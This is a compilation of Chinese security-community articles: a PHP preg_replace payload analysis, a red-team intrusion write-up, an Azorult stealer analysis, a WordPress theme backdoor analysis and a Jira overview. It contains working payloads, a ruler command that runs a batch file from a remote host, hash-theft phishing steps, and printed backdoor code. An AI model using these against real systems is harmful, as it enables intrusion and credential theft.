> 中，所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始，最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用
> '\n' 访问，其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以这里的 **\1** 实际上指定的是第一个子匹配项，我们拿 **ripstech** 官方给的 **payload** 进行分析，方便大家理解。官方
**payload** 为： **/?.*={${phpinfo()}}** ，即 **GET** 方式传入的参数名为 **/?.*** ，值为
**{${phpinfo()}}** 。
原先的语句： preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句： preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
## 爬坑2
上面的 **preg_replace** 语句如果直接写在程序里面，当然可以成功执行 **phpinfo()** ，然而我们的 **.*** 是通过
**GET** 方式传入，你会发现无法执行 **phpinfo** 函数，如下图：
我们 **var_dump** 一下 **$_GET** 数组，会发现我们传上去的 **.*** 变成了 **_*** ，如下图所示：
这是由于在PHP中，对于传入的非法的 **$_GET** 数组参数名，会将其转换成下划线，这就导致我们正则匹配失效。我们可以 **fuzz**
一下PHP会将哪些符号替换成下划线，发现有：（这是非法字符不为首字母的情况）
当非法字符为首字母时，只有点号会被替换成下划线：
所以我们要做的就是换一个正则表达式，让其匹配到 **{${phpinfo()}}** 即可执行 **phpinfo** 函数。这里我提供一个
**payload** ： **\S*=${phpinfo()}** 执行结果如下：
## 爬坑3
下面再说说我们为什么要匹配到 **{${phpinfo()}}** 或者 **${phpinfo()}** ，才能执行 **phpinfo**
函数，这是一个小坑。这实际上是
[PHP可变变量](http://php.net/manual/zh/language.variables.variable.php)
的原因。在PHP中双引号包裹的字符串中可以解析变量，而单引号则不行。 **${phpinfo()}** 中的 **phpinfo()**
会被当做变量先执行，执行后，即变成 **${1}** (phpinfo()成功执行返回true)。如果这个理解了，你就能明白下面这个问题：
var_dump(phpinfo()); // 结果：布尔 true
var_dump(strtolower(phpinfo()));// 结果：字符串 '1'
var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果：字符串'11'
var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果：空字符串''
var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果：空字符串''
这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
## 总结
这个问题是我们在做 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs)
项目的时候发现的，我们尽可能地将每一篇文章的漏洞理解透彻，分析清楚，这对自身也是一种提高。如果大家对代码审计感兴趣的话，可以关注我们这个项目，预计
**Part1** 部分的分析文章将会有 **30篇**
。当然，如果你想和我们一起完善这个项目，欢迎通过邮件形式（[[email protected]](mailto:[email protected])）联系我们，期待您的加入。 | 社区文章 |
# 红色行动之从绝望到重见光明
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1608090825&ver=2769&signature=TOkazjrQzG4Wv4iy7EJR7SqSG1QTlu2EbJb3jmDZdFN4XMhwo9y7UXI00mFFbEyDp5b81sn
--RBpVjhscx0PbNGF501bzzQx8w6-Bb6N00IejhniaVtxyZS2IxeKxUuR&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1608090825&ver=2769&signature=TOkazjrQzG4Wv4iy7EJR7SqSG1QTlu2EbJb3jmDZdFN4XMhwo9y7UXI00mFFbEyDp5b81sn
--RBpVjhscx0PbNGF501bzzQx8w6-Bb6N00IejhniaVtxyZS2IxeKxUuR&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
无论是红队项目还是渗透项目，打点的过程总是充斥着不确定性的，在一个攻击面上充满着各种可能性，每一个对外开放的服务都可能成为我们进入内网的通道，随着每个人关注点的不同，进入内网的方式也是多种多样的。以下内容是针对红队评估的经历从外网到办公网再到服务器区的一次经历，从一次次绝望再到放弃再到重见光明，阐述了一个“红队er”不抛弃不放弃誓“死”撑到最后一刻的决心。
## 从打点到放弃
任务计划已经过半了，通过前期进行打点操作未发现特别有价值的漏洞能够突破边界进入内网。眼看项目已经过半了，一般资产不是特别庞大的情况下利用几天时间看一下目标没有有价值的漏洞的话后边很难通过常规方式继续进行下去，是时候换换思路了。
我们知道在突破边界的时候其实通过搞网站去突破边界往往要优于通过办公网络突破边界，但是往往有时候办公网络也能够给我们惊喜。
让我们整理一下思绪想一想现在手上所有的信息，我能够利用这些信息去做什么事情，我们先来整理一下外围资产的情况。1、网站几乎都是java+.net；2、邮箱使用exchange；3、未发现vpn等通道。
只能尝试从邮箱进行突破了，有一个比较好一点的消息是这个邮箱登录处保留初始设置，没有添加验证码，这一点给我们突破带来了比较有利的因素。
首先来看一下能否判断出这个exchange的版本，exchange的版本号是可以通过内部版本号进行匹配大致得出使用的版本的，这点我们可以参考一下微软官网“Exchange
Server 内部版本号”。在owa页面查看源代码在一个图标ico的链接处可以看到内部版本号。
版本对应图
链接：
https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019
可以看到源码中看到的“内部版本号”对应exchange的2013
CU23，这个版本的exchange存在反序列化可以在获得账号密码之后登录进行反序列化导致rce，接下来的工作就放在了获得账号权限上边。
选了三个复杂密码+1000个常见用户名进行密码喷洒，成功爆破出一个账号。
通过登录此账号的邮箱发现这个用户邮箱中没有什么可利用的邮件，且利用邮箱的频率也不高，尝试一下cve-2020-0688看能不能rce。
获取“ASP.NET_SessionId”.
参数“__VIEWSTATEGENERATOR”使用通用值“B97B4E27”；
参数“validationkey”使用“CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF”，此参数如果修复了漏洞会做随机化处理则无法利用此漏洞。
生成反序列化payload。
提交触发请求。
激动半天结果dnslog没有返回任何结果（甚至一度幻想会不会是dnslog出问题了），直接尝试进行反弹shell也没有任何反应（继续幻想一定是我某个参数写错了）。
## 从外网邮箱到内网突破
这种方式看来是失败了，现在的思路是继续使用内部拿到的仅有的一个账号进行内部钓鱼，看能否获取到高权限的账号，由于利用owa进行暴力破解需要不断发包，而且根据前期密码喷洒结果来看再爆出高价值用户的密码需要发包的次数会过高，容易触发告警，且钓取高价值目标通过常规钓鱼发木马的方式也不一定好用，这里计划窃取NetNTLMv2
hash进行离线破解，加大爆破成功的几率，尽可能减少与目标的交互防止被防守方发现。
通过查看邮箱通讯录，选取了20个目标进行hash窃取（但愿这些人常看邮件。。。），这20个人分别为运维部包含下属分支和开发部。由于人数不多这里单独进行发送，增加可信度。
邮件大致内容为我是行政小妹妹，请小哥哥帮我看一下这个报错是什么意思。我们通过在邮件中载入html，在代码中插入图片的方式，受害者只要看到这个邮件我们就能抓到他的hash。
启动Responder进行监听。
收到第一个hash已经是第二天早上，上午陆续收到5个hash，下午收到2个，后来进行分批次破解，破解成功了两个hash密码。
通过登录该用户的邮箱没有发现太多对继续渗透有帮助的内容，不过有一封邮件引起了我的注意，这封邮件的大体内容是整个公司的访问控制没有完全做好，有部分办公网络和全部IT部门主机权限仍然过大，需要在指定时间内对网络访问控制做好，请相关部门进行统一整理划分。这是个很重要的信息，它告诉我们只要进入了办公网络就有一定几率访问到绝大部分的服务器主机，只要能进入到IT部门的任意一台主机就能够访问到所有服务器主机。没有退路可言继续干吧。
通过邮件进行钓鱼的方式很多，但是一些好的方式一定是要让用户感知度很低才可以，这样才能保证上线率的提高，况且我们现在只有三个机会，分别为普通员工所在的办公网络人员账号密码一个，运维人员和开发人员所在的IT部门网络各一个，通过这三个账号，我们尝试一下能不能够达到我们的预期效果成功反弹shell回来。
在这里我们通过创建邮件规则的方式尝试进行shell反弹。
./ruler-linux64 --email [email protected] -u username -p password add --trigger "updatefile" --name updatefiler --location "\\x.x.x.x@SSL\updatefile.zip\update.bat" –send
删除创建的规则。
看到cs弹回来的shell我激动不已，一方面终于进到内网了，另一方面是这个人对应的组织架构是开发，应该是在IT部门网络，说明权限还是比较大的。
## 办公网到服务器区
此时距离此行动结束还有两天时间，我们意识到要在尽可能短的时间内进行横向渗透拿到尽可能多台服务器主机，由于个人主机权限非常不稳定，可用时间都是跟着上下班时间走的，晚上就不能干活了，跟小伙伴做了分工，在尽可能不触发大规模告警的情况下找到了服务器所在网段一顿**。
首先为了快，先扫了一下445端口探测了一下ms17010，不过这个洞近段时间真的不怎么好用了，不是指漏洞不好用，而是要么漏洞修复了，要么服务器装杀软了，而且现在很多公司就算不打补丁就会优先在服务器区限制445端口，能够真正打进去的真不算多，很显然结果让我比较失望。
当时已经下午2点多，距离下班时间已经很接近，内心非常焦灼，如果大规模扫描多个端口可能会浪费非常多的时间，因为拿到的这台个人主机属于开发人员，我们把目标扫描端口重点放在了web服务和数据库服务这两块，每人只扫描一个端口希望能够在最短的时间内能够完成端口扫描。过了不久我在一个redis服务器上利用redis主从复制rce拿下了服务器区第一台主机，正在我准备做代理的时候小伙伴那边扫到了一台sql
server的数据库弱口令，我们直接去搞这台windows了，剩下一个小伙伴在redis那台服务器上做了维权和代理以防万一。
通过msf执行命令。
获取主机密码。
发现密码规则为前边固定字符后边4个字符为年份，一般这种密码很容易在网络中存在同口令或者有规律的口令，于是乎进行密钥喷洒尝试，撞到了很多同口令和规律口令的主机。
大致看了一下对应的系统都是一些内部的网站系统。此时距离行动结束还有一天的时间，剩下的时间应该可以开心的划水了。
回想一下这次渗透的整个过程和这个目标的特点，其实对于这个目标来说外围加固已经很不错了，暴露点很少而且外网基本没发现能够撕开的口子，但是我们需要利用有限的资源尽可能发挥其最大的作用。我把每一次红队或者渗透的行动都当作一个案例，每个案例都会有其独特的攻击路径和方案，而我们需要去寻找最优的攻击方案，随着方案的优化和改进我们能够看到的攻击面和攻击点就会逐渐显现出来。
## 总结
我们通过外网打点未发现可用的漏洞能够直接搞进内网，继而转向外网的邮件系统，通过邮件系统的爆破进入一个人员的邮箱系统在未发现可用邮件能够支撑我们进行下一步渗透的情况下结合钓鱼的方式通过outlook抓取目标人员的ntlmv2
hash进行离线破解，拿到目标人员的账号密码之后，通过查看邮箱内容发现网络隔离规律继而通过邮箱规则获得受攻击者的主机shell，通过拿到的办公区主机shell进行内网渗透，获得一台windows系统权限之后通过同密码和有规律密码进行密码喷洒获得大量内网主机。 | 社区文章 |
本文介绍FindMyName攻击活动中出现的Azorult恶意软件变种和使用的混淆技术。
Azorult是通过垃圾邮件活动传播的恶意宏文档中使用的木马家族，同时也是RIG利用套件中的备用payload。2018年10月，研究人员发现一起使用Fallout利用套件将新Azorult变种作为主payload进行传播的正在进行的攻击活动。因为final利用页面的域名是`findmyname[.]pw`，因此研究人员将该攻击活动命名为
**FindMyName** 。
# FindMyName攻击活动第一阶段分析
10月20日，研究人员发现了FindMyName攻击活动。在随后的3天内，研究人员共发现Fallout
利用套件使用的5个不同的URL链。这5个URL链都将受害者重定向到同一个域名：`findmyname[.]pw`。
FindMyName攻击活动的第一阶段如图1所示：
图1 攻击的第一阶段
虽然findmyname[.]pw的5个final页面都是不同的，但是内容是相似的。如图2所示：
图2 混淆后的landing page
Fallout利用套件使用了不同的html标签来隐藏真实的利用代码和高度混淆的标签内容，包括`span, h3,
p`等。解密后，真实的VBScript代码利用了 IE VBScript漏洞`CVE-2018-8174`。
图3利用CVE-2018-8174的代码段
漏洞利用成功后，Fallout利用套件会下载一个`.tmp`文件到`%Temp%`目录，并调用`CreateProcess`来执行tmp文件。进一步分析发现`.tmp`文件是最新的Azorult变种。这也是研究人员首次发现Azorult恶意软件变种被Fallout利用套件用作主要的payload。
# FindMyName攻击活动第二阶段分析
## Azorult恶意软件变种分析
Azorult恶意软件加载是暗网出售的商业化木马。研究人员在FindMyName攻击活动中共发现3个Azorult恶意软件的变种，其中有2个之前没有出现过。研究人员分析获取的样本发现恶意软件有以下特征：
1. 通过API洪泛绕过反病毒模拟器；
2. 阻碍通过控制流平坦化(`control flow flattening`)混淆技术来逆向恶意软件；
3. 使用`process hollowing`进程创建技术构造新的恶意软件镜像；
4. 窃取更多浏览器的凭证、cookie、历史记录和保存的自动填充；
5. 窃取更多的加密货币钱包；
6. 窃取skype, telegram, steam, FTP客户端, Email客户端的凭证和历史记录；
7. 通过安装的程序、截屏、机器信息、用户名、操作系统版本和运行的进程来获取受害者信息；
8. 从用户桌面收集文件；
9. 反取证组件可以清除所有释放的文件；
10. 根据C2通信执行特定的文件。
## API洪泛和控制流平坦化混淆
最早的Azorult恶意软件是用Microsoft Visual C++ 7.0编写的。
* 首先，Azorult恶意软件会尝试使用`control flow flattening`混淆来阻碍逆向分析恶意软件，如图4。
* 第二，样本使用API洪泛技术，如图5。API洪泛是恶意软件用来绕过防病毒模拟器的技术。出于性能的考虑，防病毒模拟器模拟在受害者机器上执行恶意软件时间会设置计时器`timer`。如果模拟器模拟上百个`time consuming`函数，当模拟器超时时会将文件标记为非恶意的。
图4 control flow flatten
图5 API flooding
## Process Hollowing
Azorult会使用`process hollowing`技术来构造新的恶意软件镜像。
* 首先，恶意软件会解密内存中的payload。
* 然后，创建一个自己的新的挂起进程。
* 第三，将解密的payload注入新进程。
* 最后，恢复新进程的执行并展示恶意行为。
恶意软件执行如图6所示：
图6 样本process hollowing
## C2通信
从进程中复制出的新木马文件是用Delphi编写的。当样本执行时，会连接到C2服务器接收指令。为了绕过IPS，C2流量也被混淆了。发回C2的数据包括用哈希算法编码的机器GUID、Windows产品名、用户名和计算机名形成的唯一受害者ID。然后恶意软件会解密C2地址，并将加密的受害者ID`POST`到`51[.]15[.]196[.]30/1/index.php`。C2流量如图7所示。
图7 C2请求
样本会解密并验证C2响应的有效性。解密的C2内容由三个部分组成。第一个部分在`<n></n>`标签中，含有48个合法的DLL，用于信息窃取。第二部分在`<d></d>`标签中，含有用于信息窃取的应用信息：包括应用路径、相关的注册表和凭证文件名。第三部分位于`<c></c>`标签中，含有样本的C2配置。C2配置文件如图8所示。根据pcap分析，研究人员发现该样本会检查以下字符：
1. “+”: 启用特定的恶意函数
2. “-”: 禁用特定恶意函数
3. “I”: 收集主机IP信息
4. “L”: 从远程服务器下载和执行文件
图8 C2配置
C2中说明的恶意软件：
1. 窃取浏览器密码凭证；
2. 窃取浏览器cookie、自动填充凭证，从FTP客户端、Email客户端窃取凭证；
3. 窃取浏览器历史；
4. 窃取比特币钱包；
5. 窃取Skype聊天信息`main.db`；
6. 窃取telegram凭证；
7. 窃取steam凭证(ssfn)和游戏`metadata`(`.vdf`)；
8. 截图并发送给攻击者；
9. 清除临时恶意软件；
10. 从桌面收集文件；
11. 发送GET请求到`ip-api[.]com/json`来获取主机IP信息；
12. 下载和执行C2指定的文件。
图9是从Firefox和Thunderbird中窃取敏感信息的C2配置示例：
图9 窃取信息的C2配置
C2流量如图10所示：
图10 C2流量概览
## 信息窃取器
样本会从32中浏览器中窃取凭证和用户数据，包括Chrome, Firefox和Qihoo
360等主流浏览器。为了从浏览器窃取凭证，样本会从C2响应中下载48个合法的dll文件到`%AppData%\Local\Temp\2fd`文件夹，如图11所示：
图11合法dll文件
这一动作的目的是加载nss3.dll和下面的函数：
* sqlite3_open
* sqlite3_close
* sqlite3_prepare_v2
* sqlite3_step
* sqlite3_column_text
* sqlite3_finalize
* NSS_Init
* PK11_GetInternalKeySlot
* PK11_Authenticate
* PK11SDR_Decrypt
* NSS_Shutdown
* PK11_FreeSlot
这些函数都用于复制敏感的浏览器信息。比如恶意软件会用`sqlite3_*`函数来获取Firefox浏览器历史信息，如图12所示：
图12使用nss3.dll中的APIs窃取Firefox敏感信息
下面是从保存的Chrome数据中窃取用户名和密码。恶意软件样本会在路径`%LOCALAPPDATA%\Google\Chrome\User
Data\`下搜索`Login Data`。绕过搜索到，就复制`Login
Data`文件到`%AppData%\Local\Temp`，并调用`nss3.dll`中的`sqlite3_prepare_v2`函数来窃取凭证，如图13所示：
SELECT origin_url, username_value, password_value FROM logins
图13 从窃取的浏览器凭证中选择字符串
恶意软件样本也会从前面提到的浏览器中提取cookie、书签和自动填充信息。凭证信息保存在`PasswordsList.txt`，cookies保存到`CookieList.txt`。
样本还会从窃取以下加密货币钱包：
* Ethereum
* Electrum
* Electrum-LTC
* Jaxx
* Exodus
* MultiBitHD
恶意软件会找到含有加密货币钱包敏感信息的特定文件。比如，图14就是样本尝试在`Coins\MultiBitHD`中找到并发送`mbhd.wallet.aes`文件。
图14 窃取加密货币钱包
恶意软件样本会从主流应用中窃取凭证和用户数据，包括Thunderbird, FileZilla, Outlook, WinSCP, Skype,
Telegram, Steam。样本也会窃取桌面的文件。图15是样本从`%appdata%\Telegram
Desktop\tdata`目录中找到`D877F783D5*.map*`文件来从Telegram中窃取敏感信息。
图15 窃取应用凭证
恶意软件样本会收集用户信息，包括当前进程，安装的软件，系统语言和时区。窃取的凭证和用户信息都会发送给C2。下面是收集的一些系统信息：
* 恶意软件获取受害者主机截屏，并保存为`scr.jpg`，如图16所示。
图16截屏
* 恶意软件上传文件到C2响应中的路径。
* 发送GET请求到`ip-api[.]com/json`，来获取受害者主机IP信息。保存`json`响应到`ip.txt`。
* 收集以下信息，保存为`system.txt`:
* 机器GUID
* Windows产品名
* 用户名
* 计算机名
* 系统架构
* 屏幕宽和高
* 系统语言
* 当前时区
* CPU核数
* 调用`CreateToolhelp32Snapshot`来获取当前进程列表
* 显示版本
* 安装的软件（`Software\Microsoft\Windows\CurrentVersion\Uninstall\`）
* 获取当前账户权限
恶意软件收集的信息如图17所示：
图17 恶意软件收集的信息
## 执行指定文件
攻击者可以通过`Create
Process`或`ShellExecute`远程控制受感染的系统执行任意文件，如图18所示。研究人员还发现恶意软件可以访问恶意URL`plugin-update[.]space/download/10.17.18.exe`来获取文件。
图18 调用`Create Process`或`ShellExecute`来执行文件
Azorult新变种还可以以本地系统权限执行恶意软件。通过以下逻辑来检查当前`SID`和`token`，如图19所示：
* 如果当前级别是`local_system`
* 调用`WTSQueryUserToken`和`CreateProcessAsUser`来创建一个系统权限的新进程，如图20。
图19 检查SID和token
图20 以本地系统权限创建进程
## 擦除痕迹和删除文件
恶意软件会擦除`%temp%\2fda`中的所有文件，并根据C2命令删除文件，如图21和图22所示：
图21 擦除感染痕迹
图22 根据C2命令删除文件
# 总结
研究人员发现一起新的攻击活动findmyname，攻击者使用Fallout利用套件传播Azorult恶意软件的新变种。该新变种增强了许多能力，可以从更多的软件和加密货币钱包中窃取信息。相比而言，最新的Windows系统主机感染率更低。
<https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/> | 社区文章 |
**Author: p0wd3r，dawu，LG (知道创宇404安全实验室)**
**Date: 2016-11-15**
## 0x00 概述
上周公司小伙伴给了我一个Wordpress主题让我帮忙审核，漏洞没有发现，但是却发现了这样一个后门：
当启用这个主题后，攻击者即可通过该后门远程无需密码以管理员权限登录到网站的后台中。
这个后门可谓“年代久远”，早在2010年就在国外被提出来了（<http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/>），然而令人遗憾的是时间过了这么久依然还有很多主题存在这个后门，更令人惊讶的是一些提供主题下载的网站也存在该后门，如果被人加以利用后果不堪设想。
## 0x01 详细分析
我们的样本是从某网站花86块购买的（没错，付费主题也存在问题），正常审计过程中会搜索代码中使用的敏感函数，当搜索`call_user_func_array`函数的时候发现了两处奇怪的用法：
1. `functions.php`第257行：
$sq1="...". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) . "...";
这里省略了不必要的部分。可以看到作者将`call_user_func_array`的结果拼接到sql语句中，当时只是好奇为什么这样写，然而将这段代码放到搜索引擎中却发现了意外的结果：<http://ihacklog.com/post/wordpress-theme-malicious-code-analysis.html>，可以看到这正是里面所描述的恶意代码。根据文中的叙述，这段恶意代码的作用是：
> 启用后主题后每当有人访问网站就检查网站中的所有主题是否已被感染，然后感染未被感染的主题，随后将网站url发送到 [email protected]
> 这个邮箱中
将文中的代码和本地的文件做一下对比（仅截取一部分）：
发现只是在变量名上做了调整，然后在启用主题时进行动态调试，发现确实存在上文所说的向`[email protected]`发送邮件的行为：
现在我们可以确定这个主题是存在问题的，但仅仅是向`[email protected]`发送我们网站url这么简单吗？
我们再来看下一处`call_user_func_array`调用：
1. `functions.php`第306-310行：
if ($use_link ) {
if($forces_more) {
$output .= "..." . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "...";
} else {
$output .= "...";
}
}
当`$use_link`和`$forces_more`值为真时，调用`call_user_func_array($checkwidgets,array($perpage,
true))`，我们来看一下相关变量的值：
if(!isset($method)) $method="cookie";
if(!isset($filter_p)) $filter_p="wp_";
if(!isset($use_link)) $use_link=1;
if(!isset($perpage)) $perpage=$_GET["cperpage"];
if(!isset($authname)) $authname="auth";
if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
if(!isset($forces_more)) $forces_more=1;
可以看到`$use_link`和`$force_more`的值均为1，`$checkwidgets`值为`wp_set_auth_cookie`，所以这段函数可以精简为：`call_user_func_array('wp_set_auth_cookie',
array($_GET['cperpage'],
true)`。而`wp_set_auth_cookie`的作用是只需提供用户id即可实现登录（<https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/>），我们实际操作一下：
未登录状态：
访问`http://url/index.php?cperpage=1`：
可以看到已经以管理员身份登录了，原来这里才是真正的后门所在。
总的来说该后门的功能如下：
1. 启用后主题后每当有人访问网站就检查网站中的所有主题是否已被感染，然后感染未被感染的主题。
2. 每当有人访问，检查是否曾向`[email protected]`发送邮件，若没有将网站url发送到`[email protected]`。
3. 攻击者通过访问`http://url/index.php?cperpage=1`即可以管理员的身份登录使用被感染主题的网站。
## 0x02 影响 & 溯源
起初我们怀疑后门是由售卖主题的网站植入，但是我们发现该网站也是存在这个后门的：
不过有意思的是该网站的后门文件是上面所说的以前就被披露出的版本，和我们手中主题中的后门并不完全相同。
我们推断该网站售卖的主题是网站拥有者在其他主题的基础上更改的，而这些主题是被感染过的，但站长并没有对其进行检查。
随后我们又测试了另外一些售卖主题的网站，其中一个在百度搜索中排名十分靠前的网站也存在该后门：
庆幸的是我们在这网站上下载的一些主题并不存在后门，但是这些高权重网站若被恶意利用后果将不堪设想。
**源头在哪里？**
通过[这篇文章](http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/)我们可以看到有人评论说 <http://www.themes2wp.com>
（需挂代理访问，国内访问会403）上的主题均存在该后门，我们下载了最新的主题（11月13日发布）发现确实如此，并且该网站本身并不存在后门。不过该网站上的主题存在的后门是上面所提到的以前的版本，和我们的样本在变量名上有一定差别。
通过一段时间的探索，我们发现该网站上的主题是从其他网站下载的，例如 <https://flexithemes.com>，我们可以在其源码中搜索到相关内容：
但是我们对比从两个网站下载的相同的主题：
可以看到后者在前者的基础上在`functions.php`中添加了恶意代码，并在`siderbar.php`中添加了外链，外链域名与这个网站域名是同一个组织注册的：
所以总的来说 <http://www.themes2wp.com>
有很大的嫌疑是传播的源头，它首先从其他一些免费主题下载站下载主题，然后向其中注入恶意代码并重新打包再提供给用户下载，并且可能有另一批人对后门进行了更改后再进行传播。[www.themes2wp.com](http://www.themes2wp.com)
于2009年注册，如果它真的是传播源头，仅从时间跨度上来看影响也是很大的。
## 0x03 受感染主机数据分析
我们根据该后门的特征，对ZoomEye中记录的400多万域名进行了扫描，发现近8000台主机受到了感染。对于这些受感染的主机，我们做了如下统计。
#### 国家分布统计
#### IP统计
经检测，受到感染的近8000个域名中只对应了3000多个IP，我们统计了IP绑定域名的情况。这些IP中大约有百分之二十以上的IP绑定了多个域名。可能一个域名被感染后，导致同一个IP下的域名都被感染。
#### 网站title统计
通过对重复title的统计可以看出，除了HTTP状态页面301页面以外，剩下重复的title数量极少。我们可以做出的判断是，这个后门影响着各个行业的网站，而不是针对某个特定的行业。
通过对网站title词频统计分析，可以看到娱乐城（黑色部分）有关的约占了四分之一。 为了了解国内的影响情况，我们统计了国内外title的词频，结果如下:
通过上图的统计，在国内的title中我们没有发现黑产的踪迹。
国外title中我们找到了更多的黑产的关键词。
根据以上词频统计的结果，一共937个网站首页包含娱乐这个关键词，其中位于美国的网站就有720个。在8000个存在后门的网站中,中文网站大约占了二分之一，其中就有近千网站与黑产有关。
#### 后门利用流程
## 0x04 检测 & 修复
检测：
可以使用 **[Seebug 照妖镜](https://www.seebug.org/monster/?vul_id=92572)** 进行在线检测。
修复：
* 删除网站目录下 **所有** 主题的`funcions.php`中的恶意代码
* 通过日志检查攻击者在获取管理员权限后又进行了哪些敏感操作
## 0x05 参考
<https://developer.wordpress.org/reference/functions/wp_set_auth_cookie/>
<http://ihacklog.com/post/wordpress-theme-malicious-code-analysis.html>
<http://harmonyinfotech.in/cms/wordpress-cms/wordpress-virus-function-_check_isactive_widgets/>
* * * | 社区文章 |
# Atlassian产品漏洞整理
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Atlassian简介
以下来自Atlassian中文官方微信公众号。
>
> 关于Atlassian：全球领先的软件开发和协作平台，为全球11万家企业提供创新的力量。全球前100强公司有超过90%的企业都在使用Atlassian的产品。其明星软件Jira
> Software为全球敏捷团队的首选软件开发工具，帮助开发团队规划、追踪和发布世界一流的软件。Atlassian的Marketplace拥有数千款不同功能的应用程序，可帮助您自定义和扩展Atlassian的功能。
>
>
> Atlassian的全球客户包括：HSBC、摩根士丹利、耐飞、宝马、奔驰、耐克、Oracle、GSK，Airbnb、CSIRO、特斯拉、Autodesk、eBay、丰田等。
>
>
> Atlassian的中国客户包括：百度、华为、联想、滴滴、京东、360企业安全、小米、顺丰、摩拜、招商银行、民生银行、中信银行、平安证券、泰康人寿、中华保险、众安保险等。
### 参考
* [Atlassian：一家没有销售团队，不靠融资做到百亿美元市值的技术公司](https://mp.weixin.qq.com/s/EqlK9WjFpYndjqohC6LuCg)
* [Atlassian 这家公司的产品为什么这么火？](https://www.zhihu.com/question/20721319)
* [协同软件供应商Atlassian估值超30亿美元](https://mp.weixin.qq.com/s/jHxzaSN6GcFkpyA03j4lWA)
* [非典型硅谷式创业 科技公司Atlassian的奇迹](https://mp.weixin.qq.com/s/ypynzvRyD3nFUkFenE5BQg)
* [中国移动通信研究院：为什么选择Atlassian项目管理及协作工具](https://mp.weixin.qq.com/s/1SudKlnZdMc5TG-goK8B1w)
* [Atlassian中国封面人物 | 李晓东，打造民生银行软件工程平台](https://mp.weixin.qq.com/s/Y7sOihxHPEceM_6w8G1o9w)
* [拐点临近 – 美国国防部 Atlassian 应用程序的扩展之路](https://mp.weixin.qq.com/s/A23MCCOEAU9pGvhYG_qg9Q)
## Atlassian核心产品简介
Atlassian服务端软件主要有
* Jira（缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理）
* Confluence（企业知识管理与协同软件，也可以用于构建企业WiKi）
* Bitbucket（Git代码托管解决方案）
其中最著名的是Jira和Confluence。很多大厂包括(Apache的issue)用Jira跟踪bug和漏洞，也有很多大厂用Confluence作为一个在线协作文档编写的工具。
## Jira相关背景知识
背景知识主要内容翻译自官方文档。
### WebWork
Jira使用MVC框架WebWork（不同于Struts 2）来处理用户发起的WEB请求。每个请求都是使用WebWork
action来处理，在其中又使用了其他的utility and Manager classes来完成一个任务。
作为响应返回给客户端的HTML大部分都是View层的JSP生成的。
URL中的”.jspa”后缀标识其后端对应的是一个JSP文件。
在Jira中，URL到Java类的映射关系是通过Webwork
1.x框架来完成的。其文档可以参考：<http://opensymphony.com/webwork_old/src/docs/manual>
而在Confluence, Bamboo and Crowd中，已经被Webwork 2所取代。
classes和URL的对应关系在actions.xml文件中声明了
src/webapp/WEB-INF/classes/actions.xml
其典型的样子大概长这样：
<!-- Workflow Transitions -->
<action name="admin.workflow.ViewWorkflowTransition" alias="ViewWorkflowTransition" roles-required="admin">
<view name="success">/secure/admin/views/workflow/viewworkflowtransition.jsp</view>
<command name="moveWorkflowFunctionUp" alias="MoveWorkflowFunctionUp">
<view name="error">/secure/admin/views/workflow/viewworkflowtransition.jsp</view>
<view name="success">/secure/admin/views/workflow/viewworkflowtransition.jsp</view>
</command>
<command name="moveWorkflowFunctionDown" alias="MoveWorkflowFunctionDown">
<view name="error">/secure/admin/views/workflow/viewworkflowtransition.jsp</view>
<view name="success">/secure/admin/views/workflow/viewworkflowtransition.jsp</view>
</command>
</action>
详细参考：
<https://developer.atlassian.com/server/jira/platform/webwork/>
注意几点：
* 每个action都有一个`alias`属性，其实就是你在浏览器看到的URL的一部分。而`name`属性就是这个alias对应的Java类。
* command元素的name属性可以在URL中加上`!commandName`作为其后缀，然后需要在对应的Action类中实现`doCommandName()`方法。
* 如果action中没有指定`roles-required`的值，则此action需要自行处理其权限问题，否则此action可以被任意用户访问。
Command元素是可选的，如果同一个Action需要处理多个交互，就会用到command。一般带有command的URL长这样：
SomeAction!myCommand.jspa
然后其在Action类中是这样实现的。
public String doMyCommand() {
// implement the command logic here
return "someview";
}
当没有指定command的时候，Action中对应的处理方法是：`doExecute`
原文讲得很清楚，看原文就可以了。
### Jira登录认证框架(Seraph)
Seraph是一个开源认证框架，主要由Atlassian开发和维护。
Jira、Confluence的登录认证是都由Seraph来负责的。
Seraph是通过Servlet的Filter实现的。
Seraph的功能只是用来在给定一个Web请求的情况下，将该请求与特定用户相关联。它支持多种认证方式：
* HTTP Basic认证
* 基于表单的认证：基于Cookie、(ie. redirect to an internal or external login form), and looking up credentials already stored in the user’s session (e.g. a cookie set by a SSO system).
